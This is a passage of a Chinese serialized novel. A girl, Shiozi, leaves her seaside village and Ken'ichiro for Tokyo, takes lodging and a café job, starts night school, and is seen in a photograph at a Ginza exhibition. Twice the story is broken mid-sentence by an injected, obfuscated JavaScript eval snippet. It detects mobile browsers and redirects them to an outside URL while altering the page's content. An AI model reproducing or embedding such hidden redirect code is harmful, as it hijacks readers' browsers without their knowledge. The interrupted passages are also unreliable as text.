太阳从云层后面探出头来，光照进屋子里，照在那垛干草上，照在他们两个人身上。 潮子睁开眼睛。 光刺得她眯了一下眼。她伸出手，挡在眼前。 健一郎侧过头，看着她。阳光照在她脸上，照在她鼻尖那颗痣上。她眯着眼，皱着眉，像一只刚从窝里探出头的小动物。 他看了她一会儿，然后坐起来。 “走吧。”他说。 潮子也坐起来。头发上沾着草屑，脸上还有没干的泪痕。她看着窗外那片被雨洗过的天空，看着那道从云层里射下来的光。 “走。”她说。 两个人站起来，拍拍身上的草屑，走出那个小屋。 外面的空气被雨洗过，干净得发亮。铁轨上还有水光，亮闪闪的，一直延伸到很远的地方。 潮子站在铁轨边上，看着那个方向。 东京在那个方向。她不知道有多远，不知道要走多久。她只知道，在那个方向的尽头，有她从来没见过的城市，有她从来没听过的人，有一种她从来没活过的生活。 健一郎站在她旁边，也在看着那个方向。 两个人谁也没说话。 风吹过来，把她的头发吹起来，把他的衣角吹起来。远处传来汽笛声，又一列火车要来了。 潮子转过头，看着他。 “健一郎。” “嗯。” “我走了以后，你也好好的。” 他没说话。 “别打架了。” 他还是没说话。 “好好吃饭。别饿着。” 他看着她，突然笑了一下。是那种很淡的笑，嘴角动了一下就收回去了，但眼睛里有光。 “你操心你自己。”他说。 潮子也笑了。 远处，火车的汽笛声越来越近。 潮子最后看了他一眼。那一眼看了很久，看得把他的样子从眼睛里刻进心里。然后她转过身，沿着铁轨旁边的石子路往前走。 走了几步，她停下来，回过头。 他还站在那里，看着她。 她朝他笑了一下，露出白牙。然后她转过身，继续往前走。 这一次，她没有回头。 健一郎站在那里，看着她的背影越来越小。她的校服被风吹着，裙摆飘起来。她的头发被风吹着，飘在身后。她走得很慢，但没有停。 她走到铁轨的拐弯处，身影被一丛芦苇遮住了一瞬。然后她又出现了，在芦苇的那一边，更小了，小得像个影子。 他站在那里，一直看，一直看。 直到那个影子消失在铁轨的尽头，消失在天边那片被雨洗过的光里。 12. 第 12 章 潮子这辈子第一次坐火车。 她以前只在铁轨边看过火车。绿色的车身，轰隆隆地开过去，带起的风能把裙子掀起来。她站在石子路上，看着车窗里那些一闪而过的人脸——有人靠着窗睡觉，有人在看报纸，有人在吃东西。那时候她觉得火车是另一个世界的东西，和她没关系。 现在她坐在里面。 车厢里有一股混合的味道——柴油味、烟味、盒饭的味道、皮革座椅捂久了的气味，还有人的味道。很多人的味道混在一起，热烘烘的。她坐在靠窗的位置，背挺得很直，两只手放在膝盖上，攥着那个布包。包里是她全部的家当：几件换洗的衣服，那件深蓝色的连衣裙，一枚贝壳，还有妈妈塞给她的那些钱。 她不敢动。怕动了就显得更土。 对面坐着一个中年男人，西装，领带松了，歪在座位上睡觉，嘴微微张着，呼噜声时高时低。旁边是一个穿碎花连衣裙的女人，抱着一个孩子，孩子睡着了，口水流在她肩膀上，她也不在意，歪着头看窗外。过道那边有几个年轻人，穿着喇叭裤，头发烫成卷，大声说笑着什么，偶尔爆发出一阵笑声。 潮子偷偷看他们。他们的衣服很亮，说话的声音很大，笑起来很响。她觉得他们和自己不是一种人。他们好像天生就知道怎么在火车上坐着，怎么跷二郎腿，怎么把包放在行李架上，怎么跟陌生人说话。她什么都不会。 窗外的风景一直在变。刚开始是海，灰蓝色的，远远地贴着地平线。然后变成田，一片一片的，稻子已经割了，只剩茬子。然后变成山，黑黢黢的，隧道一个接一个，钻进一个，黑一会儿，钻出来，亮一下，又钻进下一个。每次钻进隧道，车厢里的灯就亮了，昏黄的光照在每个人脸上，所有人的表情都变得模糊。 她数着隧道。一个，两个，三个……数到第七个的时候，她数不下去了。因为她发现，每一次从隧道里钻出来，窗外的风景都不一样了。田越来越少，房子越来越多。矮房子，高房子，挤在一起的房子，密密麻麻的，像海边礁石上长的那些贝类，一个挨一个，不留缝。 然后她看见了东京。 不是一下子看见的，是一点一点地。先是远处有一片灰蒙蒙的东西，像雾，但不是雾。然后那些灰蒙蒙的东西变成房子的轮廓，越来越多，越来越密，最后整个窗户都被填满了。房子，房子，房子。高的，矮的，新的，旧的，挤在一起，一直延伸到看不见的地方。 潮子把脸贴在窗户上，看着那些房子。她从来没见过这么多房子。村子里只有几十户人家，镇上多一些，但也一眼能望到头。这里不行。这里望不到头。她的眼睛不知道该往哪儿放，哪儿都是东西。 火车慢下来了。慢得能看清窗外的每一根电线杆，每一块广告牌，每一个走在路上的人。那些人走得很快，比村里人快多了，低着头，夹着包，好像有什么东西在后面追他们。 车厢里的广播响了。声音从喇叭里传出来，又快又硬，像倒豆子一样噼里啪啦地砸下来。潮子竖起耳朵听，只抓住了“东京”两个字——后面的那些话，像被风吹散的沙子，从她耳边滑过去，抓不住。 她的心突然跳得很快，快得她有点慌。她攥紧手里的布包，指甲嵌进布里。 对面那个男人醒了，打了个哈欠，伸了个懒腰，开始收拾东西。旁边那个女人也醒了，拍拍孩子的背，站起来，从行李架上拽下一个大包。过道里开始有人走动，拿行李的，穿外套的，招呼同伴的。车厢里突然热闹起来，热闹得潮子有点晕。 她站起来，跟在人群后面，往车门走。 走到车门的时候，她回头看了一眼那个座位。她坐了一整天的座位，皮革的，有点破，边上磨白了。她看了它一眼，然后转身，下车。 脚踩上月台的那一刻，她的腿有点软。不是晕车，是月台太大了。大得她觉得自己像一颗掉进海里的石子，小得看不见。 月台上全是人。穿着西装的上班族，拎着公文包，走得飞快。穿着校服的学生，背着书包，三三两两地说笑着。抱着孩子的女人，推着行李车的老人，蹲在地上等人的年轻人。所有人都很忙，所有人都知道要去哪里。只有她站在那里，像一根被浪冲到沙滩上的木头。 她往边上站了站，靠着一根柱子，把布包抱在怀里。她不敢动。怕动了就找不到回来的路了。 她想起妈妈说的：“到了东京，森本先生会来接你。” 森本先生。她记得他的声音，慢慢的，稳稳的。她记得他给她拍照的时候，眼睛里有一种她没见过的东西。不是那种黏糊糊的，是干净的，亮亮的。 她不知道他长什么样了。那天在海边，她没仔细看他的脸。她只记得他的相机，黑黑的，大大的，被他端在手里，像端着一件很贵重的东西。 她站在柱子旁边，看着人群，看了很久。久到月台上的人渐渐少了，久到广播又响了几次，久到她的腿站麻了。 然后她看见了他。 他站在月台尽头，穿着一件米色的风衣，手里没有拿相机。他也在看人群，一个一个地看，好像在找什么。他的头发比上次见的时候长了一点，被风吹乱了，他也不理。 潮子想喊他，但张了张嘴，没喊出来。她站在那里，嘴张着，又闭上。 然后他看见了她。 他愣了一下，然后笑了。那个笑让潮子突然觉得不那么慌了。他朝她走过来，步子不快不慢。走到她面前，站住，低头看着她。 “潮子。” “森本先生。” 他看着她，看了几秒钟。她不知道他在看什么。也许在看她的衣服——那件旧校服，洗得发白的，袖口磨毛了。也许在看她的脸——瘦了，下巴更尖了，眼睛更大更亮了。也许在看她的手——攥着布包，指节发白。 “走吧。”他说。 他伸出手，想帮她拿包。潮子把包往身后缩了缩。 “我自己拿。” 森本看了她一眼，没坚持。 “走吧。”他说，“我带你去住的地方。” 他走在前面，她跟在后面。他的步子不快，但她要小跑才能跟上。月台很长，他们走了很久。走过检票口的时候，潮子回头看了一眼月台。空荡荡的，只有几个清洁工在扫地。 她转回头，跟着森本，走进东京。 森本带她去的地方，在涩谷区的一条小巷子里。 巷子不宽，两边是两层的木造公寓，灰扑扑的，墙上有水渍，电线从这栋拉到那栋，像蜘蛛网。巷口有一棵桂花树，还没到开花的季节，叶子绿得发暗。地上铺着石板，有些地方碎了，露出下面的土。 森本在一栋公寓前面停下来。门上挂着一块小牌子，写着“高桥”。 他敲了敲门。 里面传来脚步声，慢悠悠的。门开了。 一个女人站在门口。 她四十岁左右，瘦，高，短发，没化妆，穿着一件灰色的毛衣，袖子挽到手肘。她的脸很白，不是那种好看的白，是那种在屋子里待久了的白。她的眼睛不大，看人的时候很直接，带着几分审视。 “高桥女士。”森本说，“这是潮子。” 高桥看着她。潮子也看着她。两个人对视了几秒钟。 “进来吧。”高桥说。 潮子跟着她走进去。玄关很小，脱了鞋，踩上地板。地板是老木头，走上去吱呀吱呀的。走廊很暗，两边各有一扇门。高桥推开左边那扇。 “你住这间。” 房间很小，比酒肆的阁楼大一点，但亮。窗户朝南，光从外面照进来，照在榻榻米上，黄黄的，暖暖的。榻榻米是新的，有稻草的香味。角落里有一张矮桌，一个柜子，柜子上放着一盏台灯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486547|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潮子站在门口，看着这间房间。她从来没见过这么亮的房间。阁楼里只有一个小洞，光从洞里照进来，永远是一小条。这里不一样。这里的光是满的，整个房间都是亮的。 “这是你的房间。”高桥说，“森本跟我说了你的情况。你住在这里，不用交房租。但你要帮忙做家务。打扫，做饭，买东西。可以吗？” 潮子点点头。 “我白天要上班，晚上才回来。早饭你自己吃，晚饭你做。我回来吃。”高桥看着她，“会做饭吗？” “会。” 高桥点点头，没再说什么。她转身走出去，走到门口，又停下来。 “浴室在走廊尽头。热水晚上六点到十点。洗衣机在浴室旁边，用完了记得把盖子打开。” “好。” 高桥走了。脚步声在走廊里响了几下，然后是一扇门关上的声音。 潮子站在房间里，抱着她的布包。她慢慢蹲下来，把包放在榻榻米上，打开。 几件衣服。一件连衣裙。一枚贝壳。一卷钱。 她把衣服叠好，放进柜子里。把连衣裙挂在衣架上。把贝壳放在窗台上。把钱放在枕头底下。 然后她坐在榻榻米上，看着窗外。 窗外是另一栋公寓的墙，灰扑扑的，上面有雨水冲出来的痕迹。墙根下有一丛草，绿绿的，从石头缝里长出来。 她看了很久。 森本还没有走。他站在玄关，正在和高桥说话。声音很低，潮子听不清，但她能听见几个词。“麻烦你了”“她是个好孩子”“拜托了”。 然后脚步声朝这边来了。 森本站在门口，没有进来。他看着她，她坐在榻榻米上，仰着头看他。 “潮子。” “森本先生。” “高桥女士是杂志的编辑，一个人住。你在这里帮忙做家务，她不会为难你的。” 潮子点点头。 “工作的事，我帮你留意着。你先安顿下来，别着急。” “森本先生。” “嗯。” “谢谢您。” 森本看着她，看了几秒钟。 “不用谢。”他说，“你妈妈……她还好吗？” 潮子低下头。 “嗯。” 森本没再问。 “我先走了。”他说，“有什么事，打我电话。名片你还有吗？” 潮子从口袋里掏出那张名片。边角都磨毛了，但字还看得清。 森本看着那张名片，愣了一下。然后他笑了一下，点点头。 “好好照顾自己。” 他转身走了。脚步声在走廊里响了几下，然后是玄关门开的声音，关的声音。然后安静了。 潮子坐在榻榻米上，听着那个安静。 太安静了。没有海浪的声音，没有酒肆里的笑声和碰杯声，没有妈妈上楼时吱呀吱呀的脚步声。只有远处偶尔传来的电车声，嗡嗡的，像蚊子叫。 然后她躺下来，躺在榻榻米上。稻草的香味钻进鼻子里，干干的，暖暖的。 她闭上眼睛。 她明天就去找工作。要赚钱。不能麻烦森本先生。要把赚到的钱寄给妈妈。 她翻了个身，把脸埋在胳膊里。 过了一会儿，她又翻过来，睁开眼睛。 她想起健一郎。想起他站在铁轨边上，看着她走。想起他说“我永远在这里等着你”。想起他最后那个笑。 她把那枚贝壳从窗台上拿过来，攥在手心里。贝壳还是那样，白白的，有粉色的纹路，凉凉的。 她攥着它，闭上眼睛。 这一次，她听见了海浪的声音。从很远很远的地方传来，一下，一下。 她不知道那是真的听见了，还是她自己在心里想的。 但她听见了。 13. 第 13 章 潮子来东京的第三天，开始找工作。 她起得很早，天还没亮透就醒了。榻榻米上凉凉的，窗外那堵灰色的墙在晨光里泛着青。她躺了一会儿，听不见海浪的声音，只有远处电车经过的嗡鸣，一下，一下，像什么东西在心口上碾过。她起来，叠好被子，把贝壳放进口袋里。走出房间，走廊里很安静。高桥女士的房门关着，里面没有声音。她轻手轻脚地走到玄关，穿上鞋，推开门。外面的空气凉凉的，有桂花树的味道，但还没开花，是叶子的味道，青涩涩的。 巷子里没有人。垃圾箱旁边蹲着一只猫，看见她，跳上墙头走了。她站在巷口，看着外面的街。涩谷的早晨是灰色的，楼房灰，街道灰，天也灰。但那种灰和渔村不一样——渔村的灰是海的灰，是雾的灰，是湿漉漉的、能攥出水来的灰。这里的灰是干的，硬邦邦的，像水泥。 她不知道该往哪儿走。她站在街角，看着来来往往的人。所有人都走得很急，低着头，夹着包，没有人看她。她从口袋里掏出那张地图——是高桥女士昨晚给她画的，从公寓到涩谷车站，再从涩谷到附近的几个街区。地图上画着圈，写着“这边店多”。 她顺着地图走。涩谷车站很大，比她见过的任何建筑都大。她站在车站前面，仰着头看那块巨大的霓虹灯招牌，看了一会儿，低下头，继续走。 第一家店在车站东口，玻璃窗擦得锃亮，能照见人影。她在门口站了一会儿，推门进去。门上有铃铛，叮当响了一声。里面不大，五六张桌子，吧台后面站着一个男人，三十来岁，穿着白衬衫，系着黑围裙。 “你好，请问……你们招人吗？” 那个男人看了她一眼。从头到脚，从脚到头。她的衣服是旧的，校服洗得发白，袖口磨毛了。鞋子是那双木屐，从渔村穿来的，带子换过好几次。她站在那扇擦得锃亮的玻璃窗前面，像一颗被冲到岸上的贝壳。 “你多大了？”他问。 “十五。” “十五？”他又看了她一眼，“有电话吗？” 潮子愣了一下。“没有。” “住在哪里？” “涩谷。” “涩谷哪里？” 她说了公寓的地址。那个男人想了想，摇摇头。“你太小了。我们这里要十八岁以上的。” “我可以干活。什么都能干。” 他看着她，眼神里有点什么——不是同情，是那种她熟悉的东西，酒肆里男人看她的那种，但浅得多，一闪就过去了。“不行啊，小姑娘。回去吧。”他转过身，开始擦吧台。潮子站在门口，站了一会儿，推门出去。铃铛又响了一声。 第二家店是卖甜甜圈的。粉色的招牌，玻璃柜里摆着一排一排的甜甜圈，撒了糖霜的，裹了巧克力的，五颜六色。她推门进去，一个扎着马尾的女孩接待她，问了年龄，问了住址，问了有没有经验。然后走到后面，叫出来一个穿西装的男人。那个男人看了她一眼，问了一句：“你还在读书吗？”她说“是的，晚上上课”。他说“那不行，我们要白天的全职”。 第三家店是一家小小的花店，在一条巷子里面。门口摆着几桶花，百合、玫瑰、康乃馨，水汽扑在脸上，凉凉的，香香的。她推门进去，一个老太太坐在里面，正在剪花枝。 “你好，请问你们招人吗？” 老太太抬起头，看着她。看了很久。久到潮子有点不安。 “你从哪里来的？”老太太问。 “海边。” “海边啊。”老太太点点头，把花枝放下，“我们这里不要人。太小了，又没经验。” 潮子点点头，转身要走。 “等一下。”老太太叫住她。她从柜台后面拿出一个面包，用纸袋装好，递过来。“吃了吧。看你瘦的。” 潮子看着那个面包，没有接。 “拿着。”老太太塞到她手里，“不要钱。” 潮子握着那个面包，纸袋温温的，是刚烤好的。“谢谢您。”她说。老太太摆摆手，继续剪花枝。潮子走出花店，站在巷子里，看着手里的面包。她没有吃。她把面包放进布包里，继续走。 第四家，第五家，第六家。她走了整整一个上午。有的店说“太小了”，有的店说“没经验”，有的店看了她一眼，什么都没说，就摇了头。还有一家，老板是个中年男人，问她“你多大”，她说“十五”，他上下打量了她一遍，眼神在她身上停了一会儿，说“你明天来试试吧”。但那个眼神让她想起田中。她说了“谢谢”，没有去。 太阳升到头顶的时候，她站在一条小街上，腿疼，脚也疼。木屐的带子磨破了脚趾，走路一瘸一拐的。她蹲在路边，把木屐脱下来，看了看脚上的伤口，又把木屐穿上。她不知道自己在哪儿。地图上的字被汗洇湿了，模糊成一团。 她靠着一面墙，蹲下来，把脸埋在膝盖里。太阳晒着她，背上烫烫的。她闭上眼睛，听见远处有蝉叫，吱吱吱的，和海边不一样。海边的蝉叫是潮的，湿的，这里的蝉叫是干的，燥的，像什么东西在烧。她想起健一郎。如果他在，他会说什么？他可能什么都不说，就蹲在她旁边，等她站起来。她站起来。继续走。 快到中午的时候，她找到了一家咖啡店。它在一座写字楼的底层，门面不大，木头门框，上面挂着一块手写的招牌。从窗户看进去，里面安安静静的，吧台沿着墙弯成一个弧形，铺着深褐色的木板，擦得发亮。三四张桌子，铺着格子桌布，每张桌上放着一朵纸折的花。还没到最忙的时候，店里只有一个靠窗的客人在看报纸。吧台后面站着一个女人，四十岁左右，圆脸，短发，系着一条白色的围裙，正在擦杯子。 潮子在门口站了一会儿，深吸一口气，推门进去。门没有铃铛，是轻轻的“吱呀”一声。 “你好。”她说。 那个女人抬起头，看着她。 “请问，你们招人吗？” 女人放下杯子，上下打量了她一遍。潮子站在那里，等着。她的衣服上有汗渍，头发被风吹乱了，脚趾上贴着从裙子上撕下来的布条。她知道自己看起来什么样。但她站得很直。 “你多大了？”女人问。 “十五。” “还在上学？” “嗯。晚上上课。” “以前干过吗？” “没有。但我什么都能干。端盘子，洗杯子，擦桌子，打扫卫生。我什么都能干。” 女人看着她。看了很久。然后她的目光落在潮子脸上，落在那双眼睛上。那双眼睛很亮，很直，里面有一种东西。不是恳求，不是可怜，是那种“你让我干我就干，你不让我干我就走”的东西。 “你等一下。”女人转身进了后面。 潮子站在那里，听见后面有说话的声音。听不清说什么，但有两个人的声音，一男一女。过了一会儿，女人出来了，后面跟着一个老头——瘦瘦的，头发花白，系着一条沾了咖啡渍的围裙。 “老板。”女人说。 老头看着潮子。潮子看着他。 “你叫什么？”他问。 “浜田潮子。” “从哪里来的？” “静冈。海边。”她没说渔村，没说酒肆。她说海边。 老头点点头。他看着她，看了一会儿，然后笑了。那个笑很轻，很淡，像海风吹过。“我们上午缺一个人。时薪二百二十日元。早上九点到下午一点。包一顿饭。可以吗？” 潮子的心跳了一下。“可以。” “明天能来吗？” “能。” 老头点点头，转身回后面去了。女人从柜台下面拿出一件围裙，白色的，叠得整整齐齐。“这是你的。明天来的时候换上。穿素一点的衣服。” 潮子接过围裙，攥在手里。布料是棉的，软软的，带着肥皂的香味。 “谢谢您。”她说。声音有点发抖。 女人看着她，眼神里有什么东西动了一下。“明天见。”她说。 潮子走出咖啡店，站在街上。太阳照在她脸上，暖洋洋的。她把围裙抱在怀里，站了一会儿。然后她低下头，看着自己的脚。木屐的带子又松了，脚趾上的伤口还在疼。她笑了一下。很轻的，嘴角动了一下，眼睛弯了弯。她找到工作了。 潮子回到公寓的时候，是下午两点多。她在巷口站了一会儿，看着那棵桂花树。叶子的背面是银灰色的，风一吹，翻过来，亮一下，又翻回去。她上了楼，推开门。走廊里很安静，高桥女士的房门关着。她走到厨房，打开冰箱。里面有半棵白菜，几根葱，一小块猪肉，还有一盒豆腐。 她想着高桥女士晚上回来要吃饭。她先淘了米，放在炉子上煮。然后切白菜，切葱，切肉。她的刀工很好，从小在酒肆帮妈妈切菜练出来的。刀落在案板上，笃笃笃的，很匀。锅里的水开了，她把豆腐放进去烫了一下，捞出来。白菜炒肉，豆腐葱花汤。她做着这些的时候，心里很静。什么也不想。不想找工作被拒绝的事，不想脚上的伤口，不想钱够不够。只想着这顿饭。 高桥女士回来的时候，菜刚做好。她站在厨房门口，看着桌上的两碗饭、一盘菜、一锅汤，愣了一下。 “你做的？”她问。 “嗯。不知道您什么时候回来，就想着先做好，您回来就能吃了。” 高桥没说话。她洗了手，坐下来，拿起筷子。夹了一口菜，嚼了嚼。“好吃。”她说。 潮子站在旁边，看着她吃。 “你不吃？”高桥问。 “我在路上吃了点东西。” 高桥看了她一眼，没说话。夹了一块肉放在旁边空碗里，推过去。“吃了再走。” 潮子愣了一下，坐下来，端起碗。两个人面对面吃着，谁也没说话。厨房里只有筷子碰碗的声音，和窗外偶尔传来的电车声。 吃完饭，潮子收拾了碗筷，把厨房擦干净。高桥坐在客厅里看稿子，铅笔在纸上划来划去。潮子站在厨房门口，看了她一会儿。她想说“谢谢您让我住在这里”，但没说出口。她怕说了，就显得生分。 “高桥女士。” “嗯？” “我去学校了。” 高桥抬起头，看着她。“路上小心。” 潮子点点头，换鞋，推门出去。 夜校在涩谷区的一所公立高中里面，用的是白天全日制学校的教室。她走进去的时候，天已经黑了。教学楼亮着灯，一楼最右边的几间教室，是给夜间部用的。 她找到办公室，推门进去。一个戴眼镜的中年男人坐在里面，正在抽烟。看见她，把烟掐了。 “你好，我是来报到的。” “新生？” “嗯。” 他拿出一张表格，让她填。潮子趴在桌上，一笔一划地写。她的字很工整，佐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486548|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佐木老师教的。写到“出身地”的时候，她停了一下。静冈县，那个小渔村的名字。她写下去，继续填后面的。 “学费。”男人说，“一个学期三千五百日元。教材费另算。” 潮子从布包里拿出那些钱。她妈妈给她的，一元的，五元的，十元的，皱巴巴的，叠得整整齐齐。她一张一张数出来，放在桌上。那个男人看着那些钱，没有说话。他收好钱，开了一张收据，递给她。 “教室在一楼最右边。国语课，现在正上着呢。” “谢谢您。” 她拿着收据，走出办公室。走廊里很安静，日光灯嗡嗡地响，照得地上白花花的。她走到最右边那间教室，推开门。 教室不大，二十几个座位，只坐了一半。坐在前排的都是年轻人，和她差不多大，有的还穿着工作服，袖口有油渍。坐在后排的是几个中年人，头发已经少了，趴在桌上，不知道是在听课还是在睡觉。 讲台上站着一个老头，头发全白了，戴着老花镜，正在念课文。他看见潮子站在门口，停下来。 “新生？” “是。” “进来吧。找个位子坐下。” 潮子走进去，在第一排靠窗的位置坐下来。她从包里拿出笔记本和铅笔，翻开，等着。 老头继续念课文。是国语的课本，第一篇，讲的是极乐世界的莲池边，佛祖散步的时候，看见一个叫犍陀多的盗贼在地狱里挣扎。佛祖想起他曾经救过一只蜘蛛，就垂下一根蜘蛛丝去救他。犍陀多顺着蜘蛛丝往上爬，爬到一半，回头看见其他人也跟着往上爬，他怕蜘蛛丝断了，大喊“这是属于我的，你们下去”。话音刚落，蜘蛛丝断了，他又掉回地狱里。 潮子听着，想起小时候佐佐木老师讲过的那些故事。那时候她坐在村小的教室里，窗户开着，海风吹进来，带着咸味。佐佐木老师说：“潮子，你是我教过的最聪明的孩子。不管去哪里，都要读书。”现在她坐在东京的教室里，窗户关着，外面是车声和人声。但老师在讲课。她还在听课。 她在笔记本上写下标题，写下作者的名字。她的字很工整，一笔一划。 旁边的男生凑过来，看了一眼她的笔记本。“你字写得真好。”他小声说。她没回答，继续写。 下课铃响了。老头合上课本，说了句“下次记得带课本”，走了。教室里的学生站起来，有的走了，有的趴在桌上睡觉，有的拿出饭盒开始吃东西。潮子坐在那里，把笔记本合上，放进包里。 旁边的男生还没走。他穿着一件蓝色的工作服，袖口磨破了，指甲缝里有黑色的油渍。他看着潮子，犹豫了一下，说：“你是新来的？” “嗯。” “我叫中村。” “浜田潮子。” “你是从哪儿来的？” “静冈。” “静冈啊。那边有海吧？” “有。” “真好啊。我从小在东京长大，没见过海。” 潮子看着他。他的脸圆圆的，眼睛小小的，笑起来眯成一条缝。不像健一郎。健一郎的脸是硬的，线条是直的。这个人是软的，圆的。 “海也没什么好看的。”她说。 中村愣了一下，然后笑了。“你骗人。海边肯定很好看。” 潮子没说话。她站起来，背上包。 “明天还来吗？”中村问。 “来。” “那明天见。” “嗯。” 她走出教室，穿过走廊，走出校门。外面是涩谷的夜晚。霓虹灯亮了，红的，蓝的，绿的，把街面照得花花绿绿的。人比白天还多，年轻人穿着喇叭裤，烫着卷发，笑着，闹着，从她身边走过去。她站在校门口，看着那些人，看了一会儿。然后她转身，往公寓的方向走。 走到巷口的时候，她停下来。桂花树在路灯下面，叶子被光照着，亮亮的。她站在树下，仰着头看了一会儿。然后她走进巷子，上楼。 高桥女士的房间灯还亮着。她听见打字机的声音，嗒嗒嗒的，很有节奏。她轻手轻脚地走过走廊，推开自己的房门。 房间里还是那样，榻榻米，矮桌，柜子。窗台上那枚贝壳，白白的，有粉色的纹路。她坐下来，把包放下。从里面拿出笔记本，翻开。她看着自己写的那些字。看了一会儿，然后合上笔记本。 她开始算账。学费三千五百，教材费还没交，咖啡店的工钱要月底才发，一天四个小时，时薪二百二十，一天八百八十日元。一个月如果干满，能有两万多。但交了学费，买了课本，剩下的不多了。她还要吃饭，还要还森本先生的人情，还要给妈妈寄钱。不够。远远不够。 她把数字算了一遍，又算了一遍。还是不够。她需要再找一份工。下午的，或者周末的。什么都可以。洗碗，扫地，搬东西。什么都可以。 她把笔记本放好，躺下来。榻榻米凉凉的，贴着后背。 她闭上眼睛。没有海浪的声音。只有远处的电车声，嗡嗡的，像什么东西在远处转。还有打字机的声音，嗒嗒嗒的，从走廊那头传过来。 “明天再去找。”她对自己说。“下午的工，或者周末的。什么都可以。” 打字机的声音停了。走廊里安静下来。她听见高桥女士走路的脚步声，轻轻的，从这头到那头。然后是一扇门关上的声音。 她闭上眼睛。 14. 第 14 章 森本英世的摄影展在银座的一家画廊开幕了。 这是他近年来规模最大的一次个展，圈内人都来了。评论家、收藏家、杂志编辑，还有那些常年混迹在银座艺术圈的面孔，三三两两地聚在展厅里，手里端着酒杯，低声交谈着什么。展厅的墙刷成了深灰色，射灯从顶上打下来，把每一幅照片照得像一扇扇发光的窗户。 这次展览的主题叫“残像”。 七十年代的日本，经济高速增长的尾巴还在扫着。东京的楼越盖越高，新宿的霓虹灯越亮越密，人们口袋里有了钱，电视机从黑白变成彩色，新干线的列车从车窗前呼啸而过。所有人都在往前跑，往前看。而那些被甩在后面的东西——被遗忘的渔村、沉默的海、那些像礁石一样安静的人——被森本的相机留了下来。 “残像”展出的就是这些东西。不是那种刻意卖惨的纪实摄影，是另一种东西。他把那些即将消失的风景拍得像还活着，把那些沉默的人拍得像有话要说。 展厅里最里面那面墙上，只挂着一张照片。不是因为它最大，是因为它旁边没有别的，空出一大片灰墙，像给这张照片留出了一口气。 照片里是一个少女。 她坐在礁石上，光着脚，身体微微向后仰，双手撑在粗糙的岩石上。海风从正面吹过来，把她的头发全部吹到后面，露出整张脸——额头，眉毛，眼睛，鼻尖上那颗痣。那颗痣不大不小，位置恰到好处，在她脸上不像是长出来的，倒像是谁特意点上去的。有了它，那张脸就有了记性，看过了就忘不掉。 她的眼睛闭着，睫毛在脸上投下淡淡的影子，嘴角有一道细细的结痂的伤口，不仔细看，看不出来。 她穿着一条深蓝色的连衣裙，袖子太长了，挽了两道，裙摆被风吹起来，贴在腿上。海在她身后，灰蓝色的，一直延伸到看不见的地方。整张照片只有灰、蓝、白三种颜色，但那个少女的脸让所有颜色都活了。 有人在这张照片前面站了很久，走开了，又回来。有人说“这个女孩是谁”，有人说“没见过”，有人说“森本在哪里找到的”。 森本站在展厅另一头，手里端着一杯没怎么喝的酒，眼睛却一直往这边看。他在等一个人。 山田洋次来了。 他一个人来的，穿着一件深灰色的外套，围巾搭在肩上，进来的时候没有人注意到他。他沿着墙慢慢走，一幅一幅地看，偶尔停下来，歪着头看一会儿，又继续往前走。走到最里面那面墙的时候，他停住了。 他站在那里，看着那张照片。看了很久。久到旁边有人经过，认出了他，小声说“山田导演”，他没有听见。他的眼睛没有离开那张照片。 照片里的少女闭着眼睛，但他觉得她在看他。不是那种直直的、盯着你看的那种看，是那种安安静静的、从照片里面往外看的那种看。她的脸很瘦，下巴尖尖的，颧骨的轮廓在光线下面显出一点点棱角。不是那种圆润的、甜美的脸，是有棱角的，有骨头的，有脾气的。 她的眼睛闭着，但他能看见那双眼睛。他知道那双眼睛睁开的时候是什么样——一定很亮，很直，里面有一种东西，是自己身体里长出来的。 他的目光落在她嘴角那道细细的伤痕上。很淡了，结着痂，不仔细看根本看不出来。但他看见了。他把那道光记住了。她的鼻子上有一颗痣，不大不小，长在左边，不抢眼，但你一旦看见了就再也忘不掉。那张脸因为这颗痣活了起来——不是画里那种规规矩矩的美，是活的、野的、不讲道理的美。 山田站在那里，看着那张脸，脑子里突然涌上来一个画面。 那是他读了很多遍的一部小说，三岛由纪夫的《潮骚》。故事发生在歌岛，一个渔民的小岛上。女主角叫初江，是海女家的女儿，从小在海边长大，潜水捞鲍鱼，被海风吹着，被太阳晒着。她不是那种柔柔弱弱的、在屋子里养大的女孩。她身上有一种东西——是海的腥味，是阳光的痕迹，是浪打上来不躲、站在那里等浪退下去的东西。 他一直在找这个人。为了这个角色，他见了许多来试镜的女孩子。她们都很漂亮，有的甜美，有的清纯，有的眼睛里也有几分倔强。他让她们换上渔村的衣服，站在镜头前面。她们站在那里，很好看，但他总觉得缺了什么。他说不上来缺什么。她们可以演一个渔村的女孩，但她们不是。她们的脸上没有海风吹过的痕迹，眼睛里没有那种被生活打过、但没有被打碎的东西。她们的美是柔的，是收着的，是那种“你知道自己好看所以好看”的好看。不是他要的那种。 现在他知道了。他站在那里，看着照片里这个少女，突然明白了那些女孩身上缺少的是什么——是海。是那片灰蓝色的、永远在动的、能把一切卷走又还给你的海。她不是站在那里让人拍的。她是海的一部分。海风吹她，她闭着眼；浪打她，她不动。她的美不是长出来的，是海浇出来的，是礁石磨出来的，是那些被打过的日子在她脸上留下的痕迹。 